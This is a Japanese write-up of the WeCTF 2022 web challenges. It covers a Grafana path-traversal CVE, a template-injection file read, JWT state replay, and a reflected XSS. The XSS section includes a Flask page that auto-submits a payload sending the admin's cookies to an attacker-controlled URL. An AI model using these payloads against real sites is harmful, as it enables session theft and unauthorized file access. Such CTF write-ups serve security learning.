WeCTF 2022 Writeup
Mon Jun 13 2022
6/12-6/13 で開催していた WeCTF 2022 に参加しました。結果は 11th/176 でした (得点のあるチームのみカウント)。 web 全然わからないけどわからないなりにがんばれた気がします。解けた問題について writeup を書きます。
Dino Run
159 solves
右下に "Flag" があるっぽい表示をしているのでひたすら右下に走るだけでフラグが手に入りました。
Grafana
100 solves
Grafana が動いているページに飛ばされました。
バージョン (v8.3.0, ログイン画面下部に存在) でググってみると CVE-2021-43798 を見つけました。
ついでに exploit も ここ で見つけたのでこれを実行したら /tmp/flag
が読めました。
we{[email protected] Lf1}
Google Wayback
25 solves
いにしえの Google ページに飛ばされました。見覚えがある。
入力できるのが検索ワードぐらいなので search.php
を $_GET
で検索すると、 XSS を引き起こせそうな場所が比較的簡単に見つかりました。
<input class="lst" value="<?php echo $_GET["q"]; ?>" title="Search" id="sbhost" autocomplete="off" type="text" name="q" maxlength="2048" dir="ltr" spellcheck="false" style="outline: none;" />
"><script>alert(1)</script>
という文字列で検索をかけると javascript が実行されることを確認しました。
あとは admin に URL を指定するだけ…と思いきや、 search.php
は POST しか受け付けない、 reCAPTCHA を突破する必要があることがわかりました。
POST しか受け付けない点については、適当に ngrok とかでサーバーを立てておき、そこにアクセスさせて POST させればよさそうです。
reCAPTCHA についてはチェックを突破した後に生成されるトークンを他のセッション (?) でも使えれば、自分でポチポチやって発行したトークンを admin に使わせることで突破できそうです。
実際に BurpSuite で search.php
に POST する瞬間を intercept し、そのとき送ろうとするトークンを使って別のページから POST するとちゃんと機能することを確認しました。
以上を踏まえ、以下のサービスを ngrok で立ち上げてその URL を踏ませればフラグが手に入りました。
g-recaptcha-response
の value には上記方法で得たトークンをハードコードしています。
exploit.pyfrom flask import Flask app = Flask(__name__) @app.route("/") def index(): return """ <html> <head> <script> function sleep(ms) { return new Promise(resolve => setTimeout(resolve, ms)); } const main = async () => { await sleep(1000); document.form.submit(); } main(); </script> </head> <body> <form id="form" name="form" method="post" action="http://google.jp.ctf.so/search.php?q=%22%3E%3Cscript%3Elocation.href=`MY_URL?q=${btoa(document.cookie)}`%3C/script%3E"> <input type="hidden" name="q" value="%22%3E%3Cscript%3Elocation.href=`MY_URL?q=${btoa(document.cookie)}`%3C/script%3E"> <input type="hidden" name="g-recaptcha-response" value="03AGdBq24Rv4m6c69Xpqa7VUjUbuPvoFfPxJqw2K_2DhQB7NDYlVvvnOoyLSR4IKYwfluz2jQWH_4JTZI_1X3CUf1x9x41SZHg5d_8czEMkOjbGN29zS2EHC9CoJ5_n3yhsK7rWC3nrkr8tfuv9m_15a4S1VFbkHBaZajY_iKEqEGq9fFOAHEW3IfftfMu0xbirbFvJf7lmlncGRWSS39wlOkN0FLepCa3SxoY691a_09mX2BsAqPFVj2jo5bTIJ8pJzEnsFL5ni6soXvthmH7VQB6iVRtWoI8tUpSX6MrC0zG6KiczWRl5CHUQzMNltLsjokLdoYbjReVc5G0PjCbWnYEpg8KIgaWDj9kS3Zxgvg06KX3f4Qd4eSuw5SNaATRRAhs2ce_3BLMaZya2fB7skvtLwddp4OmSPV3tIbDfECEUqJ80OZhQJKIRSkmV3yRvdf4IlP97-kv5SpRHm4ELNtg21JeiVKU_w"> <input type="hidden" name="btnG" value="Google Search"> <button name="button" type="submit">hoge</button> </body> </html>""" if __name__ == "__main__": app.run(debug=True)
we{[email protected]_Ha(K3d_g0Ogl3}
Dino Run Extra Hard
sanity check 問の Dino Run と見た目は同じですが、走っている途中で突然死するように変更されています。死亡確率はフラグに近づくほど高くなり、普通にフラグに向かっていくだけでクリアできるのは現実的ではありません。
サーバー側の状態に対して JWT で署名をつけたものを token
とし、これをクライアントとやりとりすることでゲームが描画されています。 token
を改ざんできればクリアできますが、 algorithm が陽に指定されている等、しっかりしていそうで改ざんは難しそうです。
ここでよく考えてみると token
が状態を保存したものになっているため、一歩動いて死ななければ token
を更新し、死んでしまったら token
を元のままにする、とすればフラグに一歩ずつ進むことができます。このような挙動となるようにクライアント側のコードを書き換え (start
や move
を書き換えた)、ひたすらフラグに向かって移動するコードを書くことでフラグを得ました。
-回程度は request を飛ばしていそう、これは想定解だったのだろうか…
we{[email protected] s*Cks!}
Request Bin
21 solves
アクセス情報のログを取れるサービスのようです。どのような情報を取るかを format として与えることができ、デフォルトでは {{.Now.Format .TimeFormat}}|{{.Code}}|{{.Method}}|{{.Path}}|{{.IP}}|{{.Request}}
というテンプレートが使われています。
このテンプレートの表記方法を調べてみると、 このようなサイト を見つけました。 {{.Attribute}}
の形で attribute にアクセスできるようです。さらに {{.Method arg0 arg1}}
の形で arg0
, arg1
を引数として method を呼ぶことができます。
Log
構造体の ソースコード を見ると、 Ctx
が存在することがわかります。 context.Context
の method を探してみると、 ServeFile というものがあることに気づきます。これを使い、 {{.Ctx.ServeFile "/flag"}}
という文字列でログを取るようにするとフラグが表示されました。
we{[email protected]=t19n}